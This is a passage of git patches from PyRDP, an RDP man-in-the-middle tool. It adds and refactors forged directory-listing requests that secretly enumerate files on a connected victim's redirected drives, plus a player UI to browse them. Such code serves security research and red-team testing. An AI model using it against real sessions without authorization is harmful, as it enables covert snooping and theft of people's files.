(FileAccess.GENERIC_READ | FileAccess.FILE_READ_DATA) != 0 + + isFileRead = request.desiredAccess & (FileAccessMask.GENERIC_READ | FileAccessMask.FILE_READ_DATA) != 0 isNotDirectory = request.createOptions & CreateOption.FILE_NON_DIRECTORY_FILE != 0 if isFileRead and isNotDirectory: - remotePath = Path(decodeUTF16LE(request.path).rstrip("\x00")) + remotePath = Path(request.path) mapping = FileMapping.generate(remotePath, self.config.fileDir) proxy = FileProxy(mapping.localPath, "wb") @@ -195,14 +218,18 @@ def handleReadResponse(self, request: DeviceReadRequestPDU, response: DeviceRead self.fileMap[fileName] = mapping self.saveMapping() - def handleCloseResponse(self, request: DeviceCloseRequestPDU, _: DeviceCloseResponsePDU): + def handleCloseResponse(self, request: DeviceCloseRequestPDU, response: DeviceCloseResponsePDU): """ Close the file if it was open. Compute the hash of the file, then delete it if we already have a file with the same hash. :param request: the device close request - :param _: the device IO response to the request + :param response: the device IO response to the request """ + if response.completionID in self.directoryListingRequests: + self.handleForgedDirectoryClose(response) + return + if request.fileID in self.openedFiles: file = self.openedFiles.pop(request.fileID) file.close() @@ -236,4 +263,127 @@ def handleCloseResponse(self, request: DeviceCloseRequestPDU, _: DeviceCloseResp self.fileMap.pop(currentMapping.localPath.name) break - self.saveMapping() \ No newline at end of file + self.saveMapping() + + + def handleDirectoryControl(self, _: Union[DeviceIORequestPDU, DeviceQueryDirectoryRequestPDU], response: Union[DeviceDirectoryControlResponsePDU, DeviceQueryDirectoryResponsePDU]): + if response.minorFunction != MinorFunction.IRP_MN_QUERY_DIRECTORY: + return + + if response.completionID not in self.directoryListingRequests: + return + + if response.ioStatus == 0: + self.handleDirectoryListingResponse(response) + else: + self.handleDirectoryListingComplete(response) + + + def sendForgedDirectoryListing(self, deviceID: int, path: str) -> int: + """ + Send a forged directory listing request. Returns a request ID that can be used by the caller to keep track of which + file belongs to which directory. Results are sent by using the DeviceRedirectionMITMObserver interface. + :param deviceID: ID of the target device. + :param path: path of the directory to list. The path should use '\' instead of '/' to separate directories. It + should also contain a pattern to match. For example: to list all files in the Documents folder, the path should be + \Documents\* + """ + + completionID = DeviceRedirectionMITM.FORGED_COMPLETION_ID + + while completionID in self.directoryListingRequests: + completionID += 1 + + self.directoryListingRequests.append(completionID) + self.directoryListingPaths[completionID] = path + + if "*" not in path: + openPath = path + else: + openPath = path[: path.index("*")] + + if openPath.endswith("\\"): + openPath = path[: -1] + + # We need to start by opening the directory. + request = DeviceCreateRequestPDU( + deviceID, + 0, + completionID, + 0, + DirectoryAccessMask.FILE_LIST_DIRECTORY, + 0, + FileAttributes.FILE_ATTRIBUTE_DIRECTORY, + FileShareAccess(7), # read, write, delete + FileCreateDisposition.FILE_OPEN, + FileCreateOptions.FILE_DIRECTORY_FILE, + openPath + ) + + # Make sure the request is registered within our own tracking system. + self.handleIORequest(request) + self.client.sendPDU(request) + + return completionID + + def handleForgedDirectoryOpen(self, openResponse: DeviceCreateResponsePDU): + if openResponse.ioStatus != 0: + return + + self.directoryListingFileIDs[openResponse.completionID] = openResponse.fileID + + # Now that the file is open, start listing the directory. + request = DeviceQueryDirectoryRequestPDU( + openResponse.deviceID, + openResponse.fileID, + openResponse.completionID, + FileSystemInformationClass.FileBothDirectoryInformation, + 1, + self.directoryListingPaths[openResponse.completionID] + ) + + self.handleIORequest(request) + self.client.sendPDU(request) + + def handleDirectoryListingResponse(self, response: DeviceQueryDirectoryResponsePDU): + for info in response.fileInformation: + try: + isDirectory = info.fileAttributes & FileAttributes.FILE_ATTRIBUTE_DIRECTORY != 0 + except AttributeError: + isDirectory = False + + self.observer.onDirectoryListingResult(response.completionID, response.deviceID, info.fileName, isDirectory) + + # Send a follow-up request to get the next file (or a nonzero ioStatus, which will complete the listing). + pdu = DeviceQueryDirectoryRequestPDU( + response.deviceID, + self.directoryListingFileIDs[response.completionID], + response.completionID, + response.informationClass, + 0, + "" + ) + + self.handleIORequest(pdu) + self.client.sendPDU(pdu) + + def handleDirectoryListingComplete(self, response: DeviceQueryDirectoryResponsePDU): + fileID = self.directoryListingFileIDs.pop(response.completionID) + self.directoryListingPaths.pop(response.completionID) + + self.observer.onDirectoryListingComplete(response.completionID) + + # Once we're done, we can close the file. + request = DeviceCloseRequestPDU( + response.deviceID, + fileID, + response.completionID, + 0 + ) + + self.handleIORequest(request) + self.client.sendPDU(request) + + def handleForgedDirectoryClose(self, response: DeviceCloseResponsePDU): + # The directory is closed, we can remove the request ID from the list. + self.directoryListingRequests.remove(response.completionID) \ No newline at end of file diff --git a/pyrdp/mitm/mitm.py b/pyrdp/mitm/mitm.py index 9f9e7b2e6..f974497f3 100644 --- a/pyrdp/mitm/mitm.py +++ b/pyrdp/mitm/mitm.py @@ -243,7 +243,8 @@ def buildIOChannel(self, client: MCSServerChannel, server: MCSClientChannel): deviceRedirectionChannel = self.state.channelMap[MCSChannelName.DEVICE_REDIRECTION] if deviceRedirectionChannel in self.channelMITMs: - self.channelMITMs[deviceRedirectionChannel].addObserver(self.attacker) + deviceRedirection: DeviceRedirectionMITM = self.channelMITMs[deviceRedirectionChannel] + self.attacker.setDeviceRedirectionComponent(deviceRedirection) LayerChainItem.chain(client, self.client.security, self.client.slowPath) LayerChainItem.chain(server, self.server.security, self.server.slowPath) @@ -296,11 +297,11 @@ def buildDeviceChannel(self, client: MCSServerChannel, server: MCSClientChannel) LayerChainItem.chain(client, clientSecurity, clientVirtualChannel, clientLayer) LayerChainItem.chain(server, serverSecurity, serverVirtualChannel, serverLayer) - mitm = DeviceRedirectionMITM(clientLayer, serverLayer, self.getLog(MCSChannelName.DEVICE_REDIRECTION), self.config) - self.channelMITMs[client.channelID] = mitm + deviceRedirection = DeviceRedirectionMITM(clientLayer, serverLayer, self.getLog(MCSChannelName.DEVICE_REDIRECTION), self.config) + self.channelMITMs[client.channelID] = deviceRedirection if self.attacker: - mitm.addObserver(self.attacker) + self.attacker.setDeviceRedirectionComponent(deviceRedirection) def buildVirtualChannel(self, client: MCSServerChannel, server: MCSClientChannel): """ diff --git a/pyrdp/parser/player.py b/pyrdp/parser/player.py index 9211b4e75..02b0e5426 100644 --- a/pyrdp/parser/player.py +++ b/pyrdp/parser/player.py @@ -227,11 +227,13 @@ def parseDirectoryListingResponse(self, stream: BytesIO, timestamp: int) -> Play deviceID = Uint32LE.unpack(stream) length = Uint32LE.unpack(stream) filePath = stream.read(length).decode() - return PlayerDirectoryListingResponsePDU(timestamp, deviceID, filePath) + isDirectory = bool(Uint8.unpack(stream)) + return PlayerDirectoryListingResponsePDU(timestamp, deviceID, filePath, isDirectory) def writeDirectoryListingResponse(self, pdu: PlayerDirectoryListingResponsePDU, stream: BytesIO): filePath = pdu.filePath.encode() Uint32LE.pack(pdu.deviceID) Uint32LE.pack(len(filePath), stream) - stream.write(filePath) \ No newline at end of file + stream.write(filePath) + Uint32LE.pack(int(pdu.isDirectory), stream) \ No newline at end of file diff --git a/pyrdp/parser/rdp/virtual_channel/device_redirection.py b/pyrdp/parser/rdp/virtual_channel/device_redirection.py index e02833cfc..9914ae214 100644 --- a/pyrdp/parser/rdp/virtual_channel/device_redirection.py +++ b/pyrdp/parser/rdp/virtual_channel/device_redirection.py @@ -9,7 +9,8 @@ from pyrdp.core import decodeUTF16LE, Uint16LE, Uint32LE, Uint64LE, Uint8 from pyrdp.enum import DeviceRedirectionComponent, DeviceRedirectionPacketID, DeviceType, FileAttributes, \ - FileSystemInformationClass, GeneralCapabilityVersion, MajorFunction, MinorFunction, RDPDRCapabilityType + FileCreateDisposition, FileCreateOptions, FileShareAccess, FileSystemInformationClass, GeneralCapabilityVersion, \ + MajorFunction, MinorFunction, RDPDRCapabilityType from pyrdp.parser import Parser from pyrdp.pdu import DeviceAnnounce, DeviceCloseRequestPDU, DeviceCloseResponsePDU, DeviceCreateRequestPDU, \ DeviceCreateResponsePDU, DeviceDirectoryControlResponsePDU, DeviceIORequestPDU, DeviceIOResponsePDU, \ @@ -315,13 +316,15 @@ def writeDeviceIOResponse(self, pdu: DeviceIOResponsePDU, stream: BytesIO): def parseDeviceCreateRequest(self, deviceID: int, fileID: int, completionID: int, minorFunction: int, stream: BytesIO) -> DeviceCreateRequestPDU: desiredAccess = Uint32LE.unpack(stream) allocationSize = Uint64LE.unpack(stream) - fileAttributes = Uint32LE.unpack(stream) - sharedAccess = Uint32LE.unpack(stream) - createDisposition = Uint32LE.unpack(stream) - createOptions = Uint32LE.unpack(stream) + fileAttributes = FileAttributes(Uint32LE.unpack(stream)) + sharedAccess = FileShareAccess(Uint32LE.unpack(stream)) + createDisposition = FileCreateDisposition(Uint32LE.unpack(stream)) + createOptions = FileCreateOptions(Uint32LE.unpack(stream)) pathLength = Uint32LE.unpack(stream) path = stream.read(pathLength) + path = decodeUTF16LE(path)[: -1] + return DeviceCreateRequestPDU( deviceID, fileID, @@ -337,14 +340,16 @@ def parseDeviceCreateRequest(self, deviceID: int, fileID: int, completionID: int ) def writeDeviceCreateRequest(self, pdu: DeviceCreateRequestPDU, stream: BytesIO): + path = (pdu.path + "\x00").encode("utf-16le") + Uint32LE.pack(pdu.desiredAccess, stream) Uint64LE.pack(pdu.allocationSize, stream) Uint32LE.pack(pdu.fileAttributes, stream) Uint32LE.pack(pdu.sharedAccess, stream) Uint32LE.pack(pdu.createDisposition, stream) Uint32LE.pack(pdu.createOptions, stream) - Uint32LE.pack(len(pdu.path), stream) - stream.write(pdu.path) + Uint32LE.pack(len(path), stream) + stream.write(path) def parseDeviceCreateResponse(self, deviceID: int, completionID: int, ioStatus: int, stream: BytesIO) -> DeviceCreateResponsePDU: diff --git a/pyrdp/pdu/player.py b/pyrdp/pdu/player.py index e5b4ab44d..cd80aff58 100644 --- a/pyrdp/pdu/player.py +++ b/pyrdp/pdu/player.py @@ -151,7 +151,7 @@ def __init__(self, timestamp: int, deviceID: int, path: str): class PlayerDirectoryListingResponsePDU(PlayerPDU): - def __init__(self, timestamp: int, deviceID: int, filePath: str): + def __init__(self, timestamp: int, deviceID: int, filePath: str, isDirectory: bool): """ :param timestamp: time stamp for this PDU. :param deviceID: ID of the device used. @@ -160,4 +160,5 @@ def __init__(self, timestamp: int, deviceID: int, filePath: str): super().__init__(PlayerPDUType.DIRECTORY_LISTING_RESPONSE, timestamp, b"") self.deviceID = deviceID - self.filePath = filePath \ No newline at end of file + self.filePath = filePath + self.isDirectory = isDirectory \ No newline at end of file diff --git a/pyrdp/pdu/rdp/virtual_channel/device_redirection.py b/pyrdp/pdu/rdp/virtual_channel/device_redirection.py index bf90c1830..2c4cd0afa 100644 --- a/pyrdp/pdu/rdp/virtual_channel/device_redirection.py +++ b/pyrdp/pdu/rdp/virtual_channel/device_redirection.py @@ -7,7 +7,8 @@ from typing import Dict, List, Optional from pyrdp.enum import DeviceRedirectionComponent, DeviceRedirectionPacketID, DeviceType, FileAttributes, \ - FileSystemInformationClass, MajorFunction, MinorFunction, RDPDRCapabilityType + FileCreateDisposition, FileCreateOptions, FileShareAccess, FileSystemInformationClass, MajorFunction, MinorFunction, \ + RDPDRCapabilityType from pyrdp.pdu import PDU @@ -56,8 +57,8 @@ class DeviceCreateRequestPDU(DeviceIORequestPDU): """ def __init__(self, deviceID: int, fileID: int, completionID: int, minorFunction: int, - desiredAccess: int, allocationSize: int, fileAttributes: int, sharedAccess: int, - createDisposition: int, createOptions: int, path: bytes): + desiredAccess: int, allocationSize: int, fileAttributes: FileAttributes, sharedAccess: FileShareAccess, + createDisposition: FileCreateDisposition, createOptions: FileCreateOptions, path: str): super().__init__(deviceID, fileID, completionID, MajorFunction.IRP_MJ_CREATE, minorFunction) self.desiredAccess = desiredAccess self.allocationSize = allocationSize From f0a8cef0b7b1d328a2d230fa9a38fa6cd988bbb1 Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Tue, 16 Apr 2019 21:39:16 -0400 Subject: [PATCH 094/113] Implement directory listing on the client side --- pyrdp/core/__init__.py | 1 - pyrdp/core/filesystem.py | 83 ----------------- pyrdp/parser/player.py | 4 +- pyrdp/{ui => player}/FileSystemItem.py | 18 ++-- pyrdp/{ui => player}/FileSystemWidget.py | 26 +++--- pyrdp/player/LiveEventHandler.py | 58 ++++++++++-- pyrdp/player/LiveTab.py | 10 +- pyrdp/player/filesystem.py | 112 +++++++++++++++++++++++ pyrdp/ui/__init__.py | 2 - 9 files changed, 196 insertions(+), 118 deletions(-) delete mode 100644 pyrdp/core/filesystem.py rename pyrdp/{ui => player}/FileSystemItem.py (68%) rename pyrdp/{ui => player}/FileSystemWidget.py (84%) create mode 100644 pyrdp/player/filesystem.py diff --git a/pyrdp/core/__init__.py b/pyrdp/core/__init__.py index 020b3255a..034809176 100644 --- a/pyrdp/core/__init__.py +++ b/pyrdp/core/__init__.py @@ -7,7 +7,6 @@ from pyrdp.core.defer import defer from pyrdp.core.event import EventEngine from pyrdp.core.FileProxy import FileProxy, FileProxyObserver -from pyrdp.core.filesystem import Directory, DirectoryObserver, File from pyrdp.core.helpers import decodeUTF16LE, encodeUTF16LE from pyrdp.core.observer import CompositeObserver, Observer from pyrdp.core.packing import Int16BE, Int16LE, Int32BE, Int32LE, Int8, Uint16BE, Uint16LE, Uint32BE, Uint32LE, \ diff --git a/pyrdp/core/filesystem.py b/pyrdp/core/filesystem.py deleted file mode 100644 index c46572bef..000000000 --- a/pyrdp/core/filesystem.py +++ /dev/null @@ -1,83 +0,0 @@ -# -# This file is part of the PyRDP project. -# Copyright (C) 2019 GoSecure Inc. -# Licensed under the GPLv3 or later. -# - -from typing import List - -from pyrdp.core.observer import Observer -from pyrdp.core.subject import ObservedBy, Subject - - -class File: - """ - Class representing a file on a filesystem. It doesn't have to exist, it is merely a representation of a file. - """ - - def __init__(self, name: str): - """ - :param name: the name of the file, without any directory. - """ - self.name = name - - -class DirectoryObserver(Observer): - """ - Observer class for watching directory changes. - """ - - def onDirectoryChanged(self, directory: 'Directory'): - """ - Notification for directory changes. - :param directory: the directory that was changed. - """ - pass - - -@ObservedBy(DirectoryObserver) -class Directory(Subject): - """ - Class representing a directory on a filesystem. It doesn't have to exist, it is merely a representation of a directory. - """ - - def __init__(self, name: str): - """ - :param name: the name of the directory, without any other directory. - """ - - super().__init__() - - self.name = name - self.directories: List['Directory'] = [] - self.files: List[File] = [] - - def getDirectories(self) -> List['Directory']: - return list(self.directories) - - def getFiles(self) -> List[File]: - return list(self.files) - - def addDirectory(self, name: str) -> 'Directory': - """ - :param name: name of the directory to add. - """ - - directory = Directory(name) - self.directories.append(directory) - - self.observer.onDirectoryChanged(self) - - return directory - - def addFile(self, name: str) -> File: - """ - :param name: name of the file to add. - """ - - file = File(name) - self.files.append(file) - - self.observer.onDirectoryChanged(self) - - return file \ No newline at end of file diff --git a/pyrdp/parser/player.py b/pyrdp/parser/player.py index 02b0e5426..15afabafd 100644 --- a/pyrdp/parser/player.py +++ b/pyrdp/parser/player.py @@ -218,7 +218,7 @@ def parseDirectoryListingRequest(self, stream: BytesIO, timestamp: int) -> Playe def writeDirectoryListingRequest(self, pdu: PlayerDirectoryListingRequestPDU, stream: BytesIO): path = pdu.path.encode() - Uint32LE.pack(pdu.deviceID) + Uint32LE.pack(pdu.deviceID, stream) Uint32LE.pack(len(path), stream) stream.write(path) @@ -233,7 +233,7 @@ def parseDirectoryListingResponse(self, stream: BytesIO, timestamp: int) -> Play def writeDirectoryListingResponse(self, pdu: PlayerDirectoryListingResponsePDU, stream: BytesIO): filePath = pdu.filePath.encode() - Uint32LE.pack(pdu.deviceID) + Uint32LE.pack(pdu.deviceID, stream) Uint32LE.pack(len(filePath), stream) stream.write(filePath) Uint32LE.pack(int(pdu.isDirectory), stream) \ No newline at end of file diff --git a/pyrdp/ui/FileSystemItem.py b/pyrdp/player/FileSystemItem.py similarity index 68% rename from pyrdp/ui/FileSystemItem.py rename to pyrdp/player/FileSystemItem.py index c1cb5ce2f..63d765b37 100644 --- a/pyrdp/ui/FileSystemItem.py +++ b/pyrdp/player/FileSystemItem.py @@ -4,20 +4,22 @@ # Licensed under the GPLv3 or later. # -from enum import Enum - from PySide2.QtCore import QObject -from PySide2.QtWidgets import QListWidgetItem, QFileIconProvider +from PySide2.QtWidgets import QFileIconProvider, QListWidgetItem +from pyrdp.player.filesystem import FileSystemItemType -class FileSystemItemType(Enum): - Directory = QFileIconProvider.IconType.Folder - Drive = QFileIconProvider.IconType.Drive - File = QFileIconProvider.IconType.File class FileSystemItem(QListWidgetItem): def __init__(self, name: str, itemType: FileSystemItemType, parent: QObject = None): - icon = QFileIconProvider().icon(itemType.value) + if itemType == FileSystemItemType.Drive: + iconType = QFileIconProvider.IconType.Drive + elif itemType == FileSystemItemType.Directory: + iconType = QFileIconProvider.IconType.Folder + else: + iconType = QFileIconProvider.IconType.File + + icon = QFileIconProvider().icon(iconType) super().__init__(icon, name, parent) self.itemType = itemType diff --git a/pyrdp/ui/FileSystemWidget.py b/pyrdp/player/FileSystemWidget.py similarity index 84% rename from pyrdp/ui/FileSystemWidget.py rename to pyrdp/player/FileSystemWidget.py index 02abb2f74..68e89f2d3 100644 --- a/pyrdp/ui/FileSystemWidget.py +++ b/pyrdp/player/FileSystemWidget.py @@ -1,10 +1,16 @@ +# +# This file is part of the PyRDP project. +# Copyright (C) 2019 GoSecure Inc. +# Licensed under the GPLv3 or later. +# + from pathlib import Path from PySide2.QtCore import QObject from PySide2.QtWidgets import QFrame, QLabel, QListWidget, QVBoxLayout, QWidget -from pyrdp.core import Directory, DirectoryObserver -from pyrdp.ui import FileSystemItem, FileSystemItemType +from pyrdp.player.filesystem import Directory, DirectoryObserver, FileSystemItemType +from pyrdp.player.FileSystemItem import FileSystemItem class FileSystemWidget(QWidget, DirectoryObserver): @@ -93,8 +99,7 @@ def listCurrentDirectory(self): node = self.root for part in self.currentPath.parts[1 :]: - directories = node.getDirectories() - node = next(d for d in directories if d.name == part) + node = next(d for d in node.directories if d.name == part) self.listWidget.clear() self.breadcrumbLabel.setText(f"Location: {str(self.currentPath)}") @@ -102,22 +107,21 @@ def listCurrentDirectory(self): if node != self.root: self.listWidget.addItem(FileSystemItem("..", FileSystemItemType.Directory)) - for directory in node.getDirectories(): - itemType = FileSystemItemType.Drive if node == self.root else FileSystemItemType.Directory - self.listWidget.addItem(FileSystemItem(directory.name, itemType)) + for directory in node.directories: + self.listWidget.addItem(FileSystemItem(directory.name, directory.type)) - for file in node.getFiles(): - self.listWidget.addItem(FileSystemItem(file.name, FileSystemItemType.File)) + for file in node.files: + self.listWidget.addItem(FileSystemItem(file.name, file.type)) if node is not self.currentDirectory: self.currentDirectory.removeObserver(self) node.addObserver(self) self.currentDirectory = node + node.list() - def onDirectoryChanged(self, directory: 'Directory'): + def onDirectoryChanged(self): """ Refresh the directory view when the directory has changed. - :param directory: the directory that was changed. """ self.listCurrentDirectory() \ No newline at end of file diff --git a/pyrdp/player/LiveEventHandler.py b/pyrdp/player/LiveEventHandler.py index 32e177e15..3a435503b 100644 --- a/pyrdp/player/LiveEventHandler.py +++ b/pyrdp/player/LiveEventHandler.py @@ -4,22 +4,68 @@ # Licensed under the GPLv3 or later. # +from pathlib import PosixPath +from typing import Dict + from PySide2.QtWidgets import QTextEdit -from pyrdp.core import Directory -from pyrdp.enum import DeviceType -from pyrdp.pdu import PlayerDeviceMappingPDU +from pyrdp.enum import DeviceType, PlayerPDUType +from pyrdp.layer import PlayerLayer +from pyrdp.pdu import PlayerDeviceMappingPDU, PlayerDirectoryListingRequestPDU, PlayerDirectoryListingResponsePDU +from pyrdp.player.filesystem import DirectoryObserver, Drive, FileSystem from pyrdp.player.PlayerEventHandler import PlayerEventHandler from pyrdp.ui import QRemoteDesktop -class LiveEventHandler(PlayerEventHandler): - def __init__(self, viewer: QRemoteDesktop, text: QTextEdit, fileSystem: Directory): +class LiveEventHandler(PlayerEventHandler, DirectoryObserver): + def __init__(self, viewer: QRemoteDesktop, text: QTextEdit, fileSystem: FileSystem, layer: PlayerLayer): super().__init__(viewer, text) self.fileSystem = fileSystem + self.layer = layer + self.drives: Dict[int, Drive] = {} + + self.handlers[PlayerPDUType.DIRECTORY_LISTING_RESPONSE] = self.handleDirectoryListingResponse def onDeviceMapping(self, pdu: PlayerDeviceMappingPDU): super().onDeviceMapping(pdu) if pdu.deviceType == DeviceType.RDPDR_DTYP_FILESYSTEM: - self.fileSystem.addDirectory(pdu.name) \ No newline at end of file + drive = self.fileSystem.addDrive(pdu.name, pdu.deviceID) + drive.addObserver(self) + self.drives[drive.deviceID] = drive + + def onListDirectory(self, deviceID: int, path: str): + request = PlayerDirectoryListingRequestPDU(self.layer.getCurrentTimeStamp(), deviceID, path) + self.layer.sendPDU(request) + + def handleDirectoryListingResponse(self, response: PlayerDirectoryListingResponsePDU): + path = PosixPath(response.filePath) + parts = path.parts + directoryNames = list(parts[1 : -1]) + fileName = path.name + + if fileName in ["", ".", ".."]: + return + + drive = self.drives[response.deviceID] + + currentDirectory = drive + while len(directoryNames) > 0: + currentName = directoryNames.pop(0) + + newDirectory = None + + for directory in drive.directories: + if directory.name == currentName: + newDirectory = directory + break + + if newDirectory is None: + return + + currentDirectory = newDirectory + + if response.isDirectory: + currentDirectory.addDirectory(fileName) + else: + currentDirectory.addFile(fileName) \ No newline at end of file diff --git a/pyrdp/player/LiveTab.py b/pyrdp/player/LiveTab.py index deda2e573..a9cf43851 100644 --- a/pyrdp/player/LiveTab.py +++ b/pyrdp/player/LiveTab.py @@ -9,16 +9,16 @@ from PySide2.QtCore import Qt, Signal from PySide2.QtWidgets import QHBoxLayout, QWidget -from pyrdp.core import Directory from pyrdp.player.AttackerBar import AttackerBar from pyrdp.player.BaseTab import BaseTab +from pyrdp.player.filesystem import DirectoryObserver, FileSystem +from pyrdp.player.FileSystemWidget import FileSystemWidget from pyrdp.player.LiveEventHandler import LiveEventHandler from pyrdp.player.PlayerLayerSet import AsyncIOPlayerLayerSet from pyrdp.player.RDPMITMWidget import RDPMITMWidget -from pyrdp.ui import FileSystemWidget -class LiveTab(BaseTab): +class LiveTab(BaseTab, DirectoryObserver): """ Tab playing a live RDP connection as data is being received over the network. """ @@ -32,8 +32,8 @@ def __init__(self, parent: QWidget = None): super().__init__(rdpWidget, parent) self.layers = layers self.rdpWidget = rdpWidget - self.fileSystem = Directory("") - self.eventHandler = LiveEventHandler(self.widget, self.text, self.fileSystem) + self.fileSystem = FileSystem() + self.eventHandler = LiveEventHandler(self.widget, self.text, self.fileSystem, self.layers.player) self.attackerBar = AttackerBar() self.attackerBar.controlTaken.connect(lambda: self.rdpWidget.setControlState(True)) diff --git a/pyrdp/player/filesystem.py b/pyrdp/player/filesystem.py new file mode 100644 index 000000000..f7dc3a158 --- /dev/null +++ b/pyrdp/player/filesystem.py @@ -0,0 +1,112 @@ +# +# This file is part of the PyRDP project. +# Copyright (C) 2019 GoSecure Inc. +# Licensed under the GPLv3 or later. +# + +from enum import IntEnum +from pathlib import PosixPath +from typing import List + +from pyrdp.core import ObservedBy, Observer, Subject + + +class FileSystemItemType(IntEnum): + Directory = 1 + Drive = 2 + File = 3 + + +class FileSystemItem: + def __init__(self, name: str, itemType: FileSystemItemType): + super().__init__() + self.name = name + self.type = itemType + + +class DirectoryObserver(Observer): + def onDirectoryChanged(self): + pass + + def onListDirectory(self, deviceID: int, path: str): + pass + +@ObservedBy(DirectoryObserver) +class Directory(FileSystemItem, Subject): + def __init__(self, name: str, parent: 'Directory' = None): + super().__init__(name, FileSystemItemType.Directory) + self.parent = parent + self.files: List[File] = [] + self.directories: List[Directory] = [] + + def addFile(self, name: str): + file = File(name, self) + self.files.append(file) + + self.observer.onDirectoryChanged() + + return file + + def addDirectory(self, name: str): + directory = Directory(name, self) + self.directories.append(directory) + + self.observer.onDirectoryChanged() + + return directory + + def list(self, name: str = ""): + if self.parent is None: + return + + path = PosixPath(self.name) + + if name != "": + path /= name + else: + self.files.clear() + self.directories.clear() + + self.parent.list(str(path)) + + +class File(FileSystemItem): + def __init__(self, name: str, parent: Directory): + super().__init__(name, FileSystemItemType.File) + self.name = name + self.parent = parent + + +class Drive(Directory): + def __init__(self, name: str, deviceID: int): + super().__init__(name, None) + self.type = FileSystemItemType.Drive + self.deviceID = deviceID + + def list(self, name: str = ""): + path = "/" + + if name != "": + path += name + else: + self.files.clear() + self.directories.clear() + + self.observer.onListDirectory(self.deviceID, path) + + +@ObservedBy(DirectoryObserver) +class FileSystem(Directory): + def __init__(self): + super().__init__("") + + def addDrive(self, name: str, deviceID: int) -> Drive: + drive = Drive(name, deviceID) + self.directories.append(drive) + + self.observer.onDirectoryChanged() + + return drive + + def list(self, name: str = ""): + pass \ No newline at end of file diff --git a/pyrdp/ui/__init__.py b/pyrdp/ui/__init__.py index f5dee7c75..519fa9d38 100644 --- a/pyrdp/ui/__init__.py +++ b/pyrdp/ui/__init__.py @@ -4,7 +4,5 @@ # Licensed under the GPLv3 or later. # -from pyrdp.ui.FileSystemItem import FileSystemItem, FileSystemItemType -from pyrdp.ui.FileSystemWidget import FileSystemWidget from pyrdp.ui.PlayPauseButton import PlayPauseButton from pyrdp.ui.qt import QRemoteDesktop, RDPBitmapToQtImage From e6268ff7fb43dbd3c7210acae43fa36d1a8e9652 Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Wed, 17 Apr 2019 13:33:56 -0400 Subject: [PATCH 095/113] Refactor directory listing requests --- pyrdp/mitm/DeviceRedirectionMITM.py | 261 ++++++++++++++++------------ 1 file changed, 150 insertions(+), 111 deletions(-) diff --git a/pyrdp/mitm/DeviceRedirectionMITM.py b/pyrdp/mitm/DeviceRedirectionMITM.py index 8df97fa4c..a6c6385e2 100644 --- a/pyrdp/mitm/DeviceRedirectionMITM.py +++ b/pyrdp/mitm/DeviceRedirectionMITM.py @@ -8,7 +8,7 @@ import json from logging import LoggerAdapter from pathlib import Path -from typing import Dict, List, Union +from typing import Dict, Optional, Union from pyrdp.core import FileProxy, ObservedBy, Observer, Subject from pyrdp.enum import CreateOption, DeviceType, DirectoryAccessMask, FileAccessMask, FileAttributes, \ @@ -65,15 +65,12 @@ def __init__(self, client: DeviceRedirectionLayer, server: DeviceRedirectionLaye self.openedMappings: Dict[int, FileMapping] = {} self.fileMap: Dict[str, FileMapping] = {} self.fileMapPath = self.config.outDir / "mapping.json" - self.directoryListingRequests: List[int] = [] - self.directoryListingPaths: Dict[int, str] = {} - self.directoryListingFileIDs: Dict[int, int] = {} + self.forgedRequests: Dict[int, DeviceRedirectionMITM.ForgedRequest] = {} self.responseHandlers: Dict[MajorFunction, callable] = { MajorFunction.IRP_MJ_CREATE: self.handleCreateResponse, MajorFunction.IRP_MJ_READ: self.handleReadResponse, MajorFunction.IRP_MJ_CLOSE: self.handleCloseResponse, - MajorFunction.IRP_MJ_DIRECTORY_CONTROL: self.handleDirectoryControl, } self.client.createObserver( @@ -117,7 +114,7 @@ def handlePDU(self, pdu: DeviceRedirectionPDU, destination: DeviceRedirectionLay if isinstance(pdu, DeviceIORequestPDU) and destination is self.client: self.handleIORequest(pdu) elif isinstance(pdu, DeviceIOResponsePDU) and destination is self.server: - dropPDU = pdu.completionID in self.directoryListingRequests + dropPDU = pdu.completionID in self.forgedRequests self.handleIOResponse(pdu) elif isinstance(pdu, DeviceListAnnounceRequest): @@ -140,7 +137,14 @@ def handleIOResponse(self, pdu: DeviceIOResponsePDU): :param pdu: the device IO response. """ - if pdu.completionID in self.currentIORequests: + if pdu.completionID in self.forgedRequests: + request = self.forgedRequests[pdu.completionID] + request.handleResponse(pdu) + + if request.isComplete: + self.forgedRequests.pop(pdu.completionID) + + elif pdu.completionID in self.currentIORequests: requestPDU = self.currentIORequests.pop(pdu.completionID) if pdu.ioStatus >> 30 == IOOperationSeverity.STATUS_SEVERITY_ERROR: @@ -174,10 +178,6 @@ def handleCreateResponse(self, request: DeviceCreateRequestPDU, response: Device :param request: the device create request :param response: the device IO response to the request """ - if response.completionID in self.directoryListingRequests: - self.handleForgedDirectoryOpen(response) - return - isFileRead = request.desiredAccess & (FileAccessMask.GENERIC_READ | FileAccessMask.FILE_READ_DATA) != 0 isNotDirectory = request.createOptions & CreateOption.FILE_NON_DIRECTORY_FILE != 0 @@ -218,18 +218,14 @@ def handleReadResponse(self, request: DeviceReadRequestPDU, response: DeviceRead self.fileMap[fileName] = mapping self.saveMapping() - def handleCloseResponse(self, request: DeviceCloseRequestPDU, response: DeviceCloseResponsePDU): + def handleCloseResponse(self, request: DeviceCloseRequestPDU, _: DeviceCloseResponsePDU): """ Close the file if it was open. Compute the hash of the file, then delete it if we already have a file with the same hash. :param request: the device close request - :param response: the device IO response to the request + :param _: the device IO response to the request """ - if response.completionID in self.directoryListingRequests: - self.handleForgedDirectoryClose(response) - return - if request.fileID in self.openedFiles: file = self.openedFiles.pop(request.fileID) file.close() @@ -266,19 +262,6 @@ def handleCloseResponse(self, request: DeviceCloseRequestPDU, response: DeviceCl self.saveMapping() - def handleDirectoryControl(self, _: Union[DeviceIORequestPDU, DeviceQueryDirectoryRequestPDU], response: Union[DeviceDirectoryControlResponsePDU, DeviceQueryDirectoryResponsePDU]): - if response.minorFunction != MinorFunction.IRP_MN_QUERY_DIRECTORY: - return - - if response.completionID not in self.directoryListingRequests: - return - - if response.ioStatus == 0: - self.handleDirectoryListingResponse(response) - else: - self.handleDirectoryListingComplete(response) - - def sendForgedDirectoryListing(self, deviceID: int, path: str) -> int: """ Send a forged directory listing request. Returns a request ID that can be used by the caller to keep track of which @@ -291,99 +274,155 @@ def sendForgedDirectoryListing(self, deviceID: int, path: str) -> int: completionID = DeviceRedirectionMITM.FORGED_COMPLETION_ID - while completionID in self.directoryListingRequests: + while completionID in self.forgedRequests: completionID += 1 - self.directoryListingRequests.append(completionID) - 